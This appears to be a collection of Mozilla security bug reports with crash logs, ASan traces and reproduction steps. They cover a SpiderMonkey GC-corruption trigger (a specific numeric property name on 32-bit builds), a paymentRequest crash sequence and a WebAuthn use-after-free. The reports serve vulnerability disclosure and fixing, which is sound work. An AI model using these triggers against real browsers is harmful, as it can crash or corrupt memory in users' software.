Ditto, above, but furthermore, try placing a pointer that points to sensitive data with TB or FF, and then leave the value of that area in registers before crashing.
Seriously, I noticed this problem when I was compiling TB source using GCC v7 which seems to have a very special memset-related warning: it warns that memset was called to clear memory area (0 in the second parameter), but the third parameter is a constantt\ less than its whole length. Clever (!), erh?
We often use memset(&data, 0, sizeof(data) to clear the data area. So if the third parameter is shorter than the area of the data, it is fishy, indeed.
I am afraid, though, that this means crackers backed up by nation-states and/or big underground syndicates, or those who go to Blackhat conferences probably have been aware of the issue already. Amen.
Yes, I know there is a hurdle to concoct such data, but who knows?
I mean revealing a value of random area is much more difficult, but crashing may be easier.
That is why I set the security flag below.
|
|
1,480,521 | 13,519,338 |
While working on Bug 1479900, I discovered the Shape::propid_ field aliases RelocationOverlay::magic but is unable to guarantee no collision. This only applies to 32-bit builds.
STR:
Add |MOZ_ASSERT(!gc::IsForwarded(shape))| to Shape::new_
Run |var x = { 1567120744: "Bad" }| in the resulting SpiderMonkey
Sec-critical since that property name will cause GC corruption in any context on all 32-bit builds!
Regressed while adding patches for nursery strings:
https://searchfox.org/mozilla-central/diff/34decd09c6e9e3e931a4bd78abf7bac6a49ce833/js/src/gc/RelocationOverlay.h#38
|
|
1,482,487 | 13,536,188 |
This crash is happening in Firefox for iOS v13.0 on armv7 (32-bit) iOS 10.3 devices only.
Relevant parts of stack trace:
Exception Type: EXC_BREAKPOINT (SIGTRAP)
Exception Codes: 0x0000000000000001, 0x00000000e7ffdefe
Termination Signal: Trace/BPT trap: 5
Termination Reason: Namespace SIGNAL, Code 0x5
Terminating Process: exc handler [0]
Triggered by Thread: 3
Thread 3 name:
Thread 3 Crashed:
0 Storage 0x00b75ffc _T07Storage26ConcreteSQLiteDBConnectionC17lastInsertedRowIDSivg + 84 (SwiftData.swift:0)
1 Storage 0x00b75fb8 _T07Storage26ConcreteSQLiteDBConnectionC17lastInsertedRowIDSivg + 16 (SwiftData.swift:404)
2 Storage 0x00b75d78 _T07Storage24FailedSQLiteDBConnectionCAA0cD0A2aDP17lastInsertedRowIDSivgTW + 28 (SwiftData.swift:0)
3 Storage 0x00aa2040 closure #1 in SQLiteRemoteClientsAndTabs.insertOrUpdateTabsForClientGUID(_:tabs:) + 1260 (SQLiteRemoteClientsAndTabs.swift:93)
4 Storage 0x00aafc84 partial apply for closure #1 in SQLiteRemoteClientsAndTabs.insertOrUpdateTabsForClientGUID(_:tabs:) + 40 (SQLiteRemoteClientsAndTabs.swift:0)
5 Storage 0x00b4d4b4 _T07Storage18SQLiteDBConnection_pSis5Error_pIegidzo_AaB_pSisAC_pIegirzo_TR + 28 (BrowserDB.swift:0)
6 Storage 0x00aaf890 _T07Storage18SQLiteDBConnection_pSis5Error_pIegidzo_AaB_pSisAC_pIegirzo_TRTA + 20 (SQLiteRemoteClientsAndTabs.swift:0)
7 Storage 0x00aafd78 0xa58000 + 359800
8 Storage 0x00b819fc ConcreteSQLiteDBConnection.transaction<A>(_:) + 1000 (SwiftData.swift:1172)
9 Storage 0x00b827d8 protocol witness for SQLiteDBConnection.transaction<A>(_:) in conformance ConcreteSQLiteDBConnection + 28 (SwiftData.swift:0)
10 Storage 0x00aaf908 partial apply for specialized + 116 (SwiftData.swift:204)
11 Storage 0x00aafdec 0xa58000 + 359916
12 Storage 0x00b695e8 specialized doWork #1 <A>() in SwiftData.withConnection<A>(_:synchronous:_:) + 1260 (SwiftData.swift:179)
13 Storage 0x00ba01a0 0xa58000 + 1343904
14 Storage 0x00b75748 _T0Ieg_IeyB_TR + 36 (SwiftData.swift:0)
15 libdispatch.dylib 0x1c0507f8 _dispatch_block_async_invoke_and_release + 74 (queue.c:2927)
16 libdispatch.dylib 0x1c05259c _dispatch_queue_serial_drain + 854 (inline_internal.h:2431)
17 libdispatch.dylib 0x1c048b70 _dispatch_queue_invoke + 886 (queue.c:4853)
18 libdispatch.dylib 0x1c0541b4 _dispatch_root_queue_drain + 326 (inline_internal.h:2468)
19 libdispatch.dylib 0x1c05400e _dispatch_worker_thread3 + 106 (queue.c:5550)
20 libsystem_pthread.dylib 0x1c1fa87c _pthread_wqthread + 1040 (pthread.c:2196)
21 libsystem_pthread.dylib 0x1c1fa45c start_wqthread + 8
Thread 3 crashed with ARM Thread State (32-bit):
r0: 0x00000033 r1: 0x00000001 r2: 0x80000033 r3: 0x00000000
r4: 0x00c54570 r5: 0x1918ca60 r6: 0x1918ca70 r7: 0x1918ca4c
r8: 0x00000000 r9: 0x00000001 r10: 0x146fbab0 r11: 0x1918cc88
ip: 0x00bb5a73 sp: 0x1918ca4c lr: 0x00b75fb8 pc: 0x00b75ffc
cpsr: 0x60000010
Binary Images:
0x1f000 - 0x4d6fff Client armv7 <951f2dddf9d33bcfbec718d2316edd9f> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Client
0x5e3000 - 0x5eafff libswiftContacts.dylib armv7 <d50c7b4e21a73849867d7ed0bd014346> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftContacts.dylib
0x600000 - 0x62bfff dyld armv7s <ae540e30134e34dfbdc1a1e57b551611> /usr/lib/dyld
0x76c000 - 0x87bfff FxA armv7 <84f3b07aba9a358dbd488d1f5a21ce88> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/FxA.framework/FxA
0x8e4000 - 0x953fff Account armv7 <3d4d7a828b343f09bdb59355bd9c2a6c> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Account.framework/Account
0x978000 - 0xa1bfff Shared armv7 <014c6e2b37673c5cadd96b089f3af009> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Shared.framework/Shared
0xa58000 - 0xc47fff Storage armv7 <9fbb381a1afc3d99b72b7b42732b71a2> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Storage.framework/Storage
0xc9c000 - 0xe07fff Sync armv7 <088636bf611f37f992d865ac6603c587> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Sync.framework/Sync
0xe48000 - 0xe5ffff SyncTelemetry armv7 <c3fd68ffb4de3ff3801158a7ac795590> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/SyncTelemetry.framework/SyncTelemetry
0xe70000 - 0xea7fff AdjustSdk armv7 <be69cc52eef934f68d21ade9bce2b892> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/AdjustSdk.framework/AdjustSdk
0xed8000 - 0xf5bfff Alamofire armv7 <b241ebbd0ab4346e9ceaaee5171bd605> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Alamofire.framework/Alamofire
0x1030000 - 0x1053fff Fuzi armv7 <8805a7782f3031b9ad6ce44e78b76d33> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Fuzi.framework/Fuzi
0x108c000 - 0x10b3fff GCDWebServers armv7 <3b8c84314dd23926bc43a149dc3297d7> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/GCDWebServers.framework/GCDWebServers
0x10ec000 - 0x1157fff Leanplum armv7 <25c99b4b4b633f7196ea836367cb722f> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Leanplum.framework/Leanplum
0x11d0000 - 0x11e3fff OnePasswordExtension armv7 <e4de1f61d3353d44852f60951c6842ef> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/OnePasswordExtension.framework/OnePasswordExtension
0x11f8000 - 0x1243fff SDWebImage armv7 <04393ceed79739e09366d7b964628a98> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/SDWebImage.framework/SDWebImage
0x12a0000 - 0x12bbfff SnapKit armv7 <9b5a68f14b433b16a15c21aaa47955ab> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/SnapKit.framework/SnapKit
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0x13fc000 - 0x143bfff XCGLogger armv7 <0266b2c83da533feac2eeda85991ca11> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/XCGLogger.framework/XCGLogger
0x14a0000 - 0x14affff Deferred armv7 <02af7ad0a7043931beef98e912485c6c> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/Deferred.framework/Deferred
0x14cc000 - 0x14fbfff JSONSchema armv7 <5d7ca323caa33cd197ef964b0644c06d> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/JSONSchema.framework/JSONSchema
0x1524000 - 0x1537fff SwiftKeychainWrapper armv7 <4ab3e78e51be30e8b30c57a879f44f9f> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/SwiftKeychainWrapper.framework/SwiftKeychainWrapper
0x1558000 - 0x156bfff libswiftAVFoundation.dylib armv7 <56fc2eda5b3035b4b322eae110db3509> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftAVFoundation.dylib
0x1579000 - 0x18f4fff libswiftCore.dylib armv7 <09d4ff656fd53605aae30ab98e9c1472> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftCore.dylib
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0x19e8000 - 0x19fbfff libswiftCoreGraphics.dylib armv7 <aa29266dd3a33d30a668a358052e1aaa> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftCoreGraphics.dylib
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0x1a94000 - 0x1c27fff libswiftFoundation.dylib armv7 <58a0336238cb3412a3c95348eace6943> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftFoundation.dylib
0x1c77000 - 0x1c7efff libswiftMapKit.dylib armv7 <849ec4f0c53d34eabb38679f32dc3c9b> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftMapKit.dylib
0x1c89000 - 0x1c90fff libswiftMetal.dylib armv7 <2ddbe48953553f49b5eb3e402bf3eeed> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftMetal.dylib
0x1c9c000 - 0x1ca3fff libswiftObjectiveC.dylib armv7 <fb3b98be29f33323b1b862c00c4e1241> /var/containers/Bundle/Application/0C7C7A70-1E56-4EEE-9E5D-B1D1E4E3D8D3/Client.app/Frameworks/libswiftObjectiveC.dylib
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0x2e2c5000 - 0x2e2d0fff AccessibilitySettingsLoader armv7s <5bdf920a0b0e38cba38c404495c8026a> /System/Library/AccessibilityBundles/AccessibilitySettingsLoader.bundle/AccessibilitySettingsLoader
0x2e530000 - 0x2e7acfff RawCamera armv7s <4e786d23200636c29178850d74fd13b0> /System/Library/CoreServices/RawCamera.bundle/RawCamera
0x2e8de000 - 0x2e8effff libCGInterfaces.dylib armv7s <1df03bfb453133abb7cc325b03dd4f39> /System/Library/Frameworks/Accelerate.framework/Frameworks/vImage.framework/Libraries/libCGInterfaces.dylib
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0x2f7ca000 - 0x2f7d4fff AppleIDAuthSupport armv7s <02d9f05f89a53ff78ed72dc20e192922> /System/Library/PrivateFrameworks/AppleIDAuthSupport.framework/AppleIDAuthSupport
0x303fd000 - 0x3041cfff CoreServicesInternal armv7s <3a378d532f4c3c44b86d087dfd9c9ed0> /System/Library/PrivateFrameworks/CoreServicesInternal.framework/CoreServicesInternal
0x30b19000 - 0x30b25fff libGSFontCache.dylib armv7s <422ad89184653e5f81ad719d13ab57d9> /System/Library/PrivateFrameworks/FontServices.framework/libGSFontCache.dylib
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0x32e8b000 - 0x33011fff libFosl_dynamic.dylib armv7s <eae4df3fda5d3703a285e51b7e1e9309> /usr/lib/libFosl_dynamic.dylib
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0x3341c000 - 0x334e8fff AVFAudio armv7s <0d640c7237163a23ba0357b13635e926> /System/Library/Frameworks/AVFoundation.framework/Frameworks/AVFAudio.framework/AVFAudio
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0x336e0000 - 0x33757fff UserNotificationsUIKit armv7s <325fb89d8a0a3563bd3046f3316bc19b> /System/Library/PrivateFrameworks/UserNotificationsUIKit.framework/UserNotificationsUIKit
0x33772000 - 0x33790fff UserNotifications armv7s <1dc879e30b743d0e8d7b2d8f48eb95fb> /System/Library/Frameworks/UserNotifications.framework/UserNotifications
0x3379f000 - 0x337acfff PersonaKit armv7s <c1ff2b5d04623150bd5b83f29657ed62> /System/Library/PrivateFrameworks/PersonaKit.framework/PersonaKit
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0x33c05000 - 0x33c1efff UserNotificationsKit armv7s <a100bf19af7f334481511543818fa0ce> /System/Library/PrivateFrameworks/UserNotificationsKit.framework/UserNotificationsKit
0x34038000 - 0x3403afff SpeakTypingServices armv7s <4897bfecc4b436298245e25b4059e289> /System/Library/PrivateFrameworks/Accessibility.framework/Frameworks/SpeakTypingServices.framework/SpeakTypingServices
0x340c6000 - 0x34103fff ContactsUICore armv7s <fc5082b77ea7313780123a2c2331330b> /System/Library/PrivateFrameworks/ContactsUICore.framework/ContactsUICore
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0x34f1e000 - 0x34f2efff libBNNS.dylib armv7s <80fce4bab30430e39e156a487e04bcd9> /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libBNNS.dylib
0x34f2f000 - 0x34f34fff libQuadrature.dylib armv7s <c3ab71823f923efaa03661c8f1118ca9> /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libQuadrature.dylib
0x350ca000 - 0x35169fff VideoSubscriberAccount armv7s <fb1dfb3cd311301389c2ad5797990aca> /System/Library/Frameworks/VideoSubscriberAccount.framework/VideoSubscriberAccount
0x352a2000 - 0x352b1fff CoreEmoji armv7s <6b5329cef4593376b1bb76ea8437a8fd> /System/Library/PrivateFrameworks/CoreEmoji.framework/CoreEmoji
0x352b2000 - 0x352c7fff CoreInterest armv7s <ead61818af9433fdac9866a7743075cc> /System/Library/PrivateFrameworks/CoreInterest.framework/CoreInterest
0x35468000 - 0x354d7fff CoreParsec armv7s <ed0a600168ca3f398e948ce05b87af6f> /System/Library/PrivateFrameworks/CoreParsec.framework/CoreParsec
0x3579d000 - 0x3579dfff IntentsFoundation armv7s <e215b01bba913818a05fa4e6bc573001> /System/Library/PrivateFrameworks/IntentsFoundation.framework/IntentsFoundation
0x3583d000 - 0x35842fff MaterialKit armv7s <fc449d29ae8f3a6c9bae2a38eed9bc2f> /System/Library/PrivateFrameworks/MaterialKit.framework/MaterialKit
0x358bc000 - 0x359a4fff NLP armv7s <aff26fa4166a3daa8e3b2f292fc87dab> /System/Library/PrivateFrameworks/NLP.framework/NLP
0x35a97000 - 0x35bf3fff PassKitUI armv7s <9326b878864c3718b5f6ff649d8e93f8> /System/Library/PrivateFrameworks/PassKitUI.framework/PassKitUI
0x35bf4000 - 0x35c09fff PassKitUIFoundation armv7s <e978a4bda2ef36cd8e8a72583e117a2a> /System/Library/PrivateFrameworks/PassKitUIFoundation.framework/PassKitUIFoundation
0x35ead000 - 0x35ec6fff SafariCore armv7s <b4b685d60992309c9726fdf041fe1fee> /System/Library/PrivateFrameworks/SafariCore.framework/SafariCore
0x36092000 - 0x36096fff SymptomDiagnosticReporter armv7s <7981ee40fa6d3d1780a23fde3ce05b9e> /System/Library/PrivateFrameworks/SymptomDiagnosticReporter.framework/SymptomDiagnosticReporter
0x366fa000 - 0x3678cfff libate.dylib armv7s <c902e2b7395036709b7f8d2548590ad2> /usr/lib/libate.dylib
0x3678d000 - 0x3678dfff libcoretls.dylib armv7s <4ca638dda9423b07894af9f9d0053f6d> /usr/lib/libcoretls.dylib
0x3678e000 - 0x3678ffff libcoretls_cfhelpers.dylib armv7s <dd64d933009b3b7f8b79627a9f8801cd> /usr/lib/libcoretls_cfhelpers.dylib
|
|
1,483,470 | 13,545,535 |
I just started poking at paymentRequest. First thing I tried crashed the parent process :/
1. calling history.forward() then paymentRequest.show() crashes
2. calling paymentRequest.show() then location.href = .... also crashes.
Crash is from the latter. I'll attach a PoC to repro.
If Im reading crashstats correctly this is just a null pointer crash (crash address 0x0, can someone confirm im reading this right?) but I'm marking this sec-sensitive just in case. Note: Payment request is NOT enabled on release, only nightly.
This bug was filed from the Socorro interface and is
report bp-8f492e9c-eeb5-44b2-9fc4-5cb940180815.
=============================================================
Top 10 frames of crashing thread:
0 XUL mozilla::dom::PaymentRequestService::RequestPayment dom/payments/PaymentRequestService.cpp:336
1 XUL mozilla::dom::PaymentRequestParent::RecvRequestPayment dom/payments/ipc/PaymentRequestParent.cpp:167
2 XUL mozilla::dom::PPaymentRequestParent::OnMessageReceived ipc/ipdl/PPaymentRequestParent.cpp:201
3 XUL mozilla::ipc::MessageChannel::DispatchAsyncMessage ipc/glue/MessageChannel.cpp:2236
4 XUL mozilla::ipc::MessageChannel::DispatchMessage ipc/glue/MessageChannel.cpp:2166
5 XUL mozilla::ipc::MessageChannel::MessageTask::Run ipc/glue/MessageChannel.cpp:2045
6 XUL nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1235
7 XUL NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:519
8 XUL nsXULWindow::ShowModal xpcom/threads/nsThreadUtils.h:324
9 XUL nsWindowWatcher::OpenWindowInternal toolkit/components/windowwatcher/nsWindowWatcher.cpp:1268
=============================================================
|
|
1,483,905 | 13,550,132 |
Created attachment 9001642
trigger.html
==25581==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000cdd78 at pc 0x7f7284dde639 bp 0x7ffddd9174c0 sp 0x7ffddd9174b8
READ of size 1 at 0x6070000cdd78 thread T0 (file:// Content)
#0 0x7f7284dde638 in isSome /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Maybe.h:316:32
#1 0x7f7284dde638 in reset /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Maybe.h:497
#2 0x7f7284dde638 in mozilla::dom::WebAuthnManager::ClearTransaction() /builds/worker/workspace/build/src/dom/webauthn/WebAuthnManager.cpp:163
#3 0x7f7284ddec4d in mozilla::dom::WebAuthnManager::RejectTransaction(nsresult const&) /builds/worker/workspace/build/src/dom/webauthn/WebAuthnManager.cpp:174:3
#4 0x7f7284df3779 in mozilla::dom::WebAuthnTransactionChild::RecvAbort(unsigned long const&, nsresult const&) /builds/worker/workspace/build/src/dom/webauthn/WebAuthnTransactionChild.cpp:55:13
#5 0x7f727d4e0e7c in mozilla::dom::PWebAuthnTransactionChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PWebAuthnTransactionChild.cpp:315:20
#6 0x7f727d289c80 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:2214:28
#7 0x7f727cad0a0e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2239:25
#8 0x7f727cacc33e in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2166:17
#9 0x7f727cace79d in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2012:5
#10 0x7f727cacf4f7 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2045:15
#11 0x7f727b8f6c60 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1235:14
#12 0x7f727b8ff9c5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#13 0x7f727cadaade in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
#14 0x7f727c9dcbfc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#15 0x7f727c9dcbfc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#16 0x7f727c9dcbfc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#17 0x7f72854f03f6 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27
#18 0x7f728986575e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:937:22
#19 0x7f727c9dcbfc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#20 0x7f727c9dcbfc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#21 0x7f727c9dcbfc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#22 0x7f7289864812 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:763:34
#23 0x4f5b11 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30
#24 0x4f5b11 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:287
#25 0x7f72a0d8cb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#26 0x424ee8 in _start (/home/forb1dden/builds/mc-asan/firefox+0x424ee8)
0x6070000cdd78 is located 72 bytes inside of 80-byte region [0x6070000cdd30,0x6070000cdd80)
freed by thread T0 (file:// Content) here:
#0 0x4c52f2 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
#1 0x7f7284ddc79c in mozilla::dom::WebAuthnManager::Release() /builds/worker/workspace/build/src/dom/webauthn/WebAuthnManager.cpp:34:1
#2 0x7f728314759a in mozilla::EventListenerManager::RemoveEventListenerByType(mozilla::dom::CallbackObjectHolder<mozilla::dom::EventListener, nsIDOMEventListener>, nsTSubstring<char16_t> const&, mozilla::EventListenerFlags const&) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/CallbackObject.h:584:5
#3 0x7f7283161877 in RemoveEventListener /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1476:3
#4 0x7f7283161877 in RemoveEventListener /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:291
#5 0x7f7283161877 in mozilla::dom::EventTarget::RemoveEventListener(nsTSubstring<char16_t> const&, nsIDOMEventListener*, bool) /builds/worker/workspace/build/src/dom/events/EventTarget.cpp:112
#6 0x7f7284dde44c in StopListeningForVisibilityEvents /builds/worker/workspace/build/src/dom/webauthn/WebAuthnManagerBase.cpp:117:15
#7 0x7f7284dde44c in mozilla::dom::WebAuthnManager::ClearTransaction() /builds/worker/workspace/build/src/dom/webauthn/WebAuthnManager.cpp:160
#8 0x7f7284ddec4d in mozilla::dom::WebAuthnManager::RejectTransaction(nsresult const&) /builds/worker/workspace/build/src/dom/webauthn/WebAuthnManager.cpp:174:3
#9 0x7f7284df3779 in mozilla::dom::WebAuthnTransactionChild::RecvAbort(unsigned long const&, nsresult const&) /builds/worker/workspace/build/src/dom/webauthn/WebAuthnTransactionChild.cpp:55:13
#10 0x7f727d4e0e7c in mozilla::dom::PWebAuthnTransactionChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PWebAuthnTransactionChild.cpp:315:20
#11 0x7f727d289c80 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:2214:28
#12 0x7f727cad0a0e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2239:25
#13 0x7f727cacc33e in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2166:17
#14 0x7f727cace79d in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2012:5
#15 0x7f727cacf4f7 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2045:15
#16 0x7f727b8f6c60 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1235:14
#17 0x7f727b8ff9c5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#18 0x7f727cadaade in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
#19 0x7f727c9dcbfc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#20 0x7f727c9dcbfc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#21 0x7f727c9dcbfc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#22 0x7f72854f03f6 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27
#23 0x7f728986575e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:937:22
#24 0x7f727c9dcbfc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#25 0x7f727c9dcbfc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#26 0x7f727c9dcbfc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
previously allocated by thread T0 (file:// Content) here:
#0 0x4c5633 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
#1 0x51a34d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17
#2 0x7f7282ffaff9 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:136:12
#3 0x7f7282ffaff9 in EnsureWebAuthnManager /builds/worker/workspace/build/src/dom/credentialmanagement/CredentialsContainer.cpp:140
#4 0x7f7282ffaff9 in mozilla::dom::CredentialsContainer::Get(mozilla::dom::CredentialRequestOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/credentialmanagement/CredentialsContainer.cpp:158
#5 0x7f7281dd0e45 in get /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CredentialManagementBinding.cpp:710:45
#6 0x7f7281dd0e45 in mozilla::dom::CredentialsContainer_Binding::get_promiseWrapper(JSContext*, JS::Handle<JSObject*>, mozilla::dom::CredentialsContainer*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CredentialManagementBinding.cpp:724
#7 0x7f72828da5ca in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ConvertExceptionsToPromises>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3311:13
#8 0x7f7289b8ec62 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:445:15
#9 0x7f7289b8ec62 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533
#10 0x7f7289b78500 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:590:12
#11 0x7f7289b78500 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3239
#12 0x7f7289b5eaee in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:425:12
#13 0x7f7289b8f73a in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:557:15
#14 0x7f7289b914c2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:603:10
#15 0x7f728a62304a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2915:12
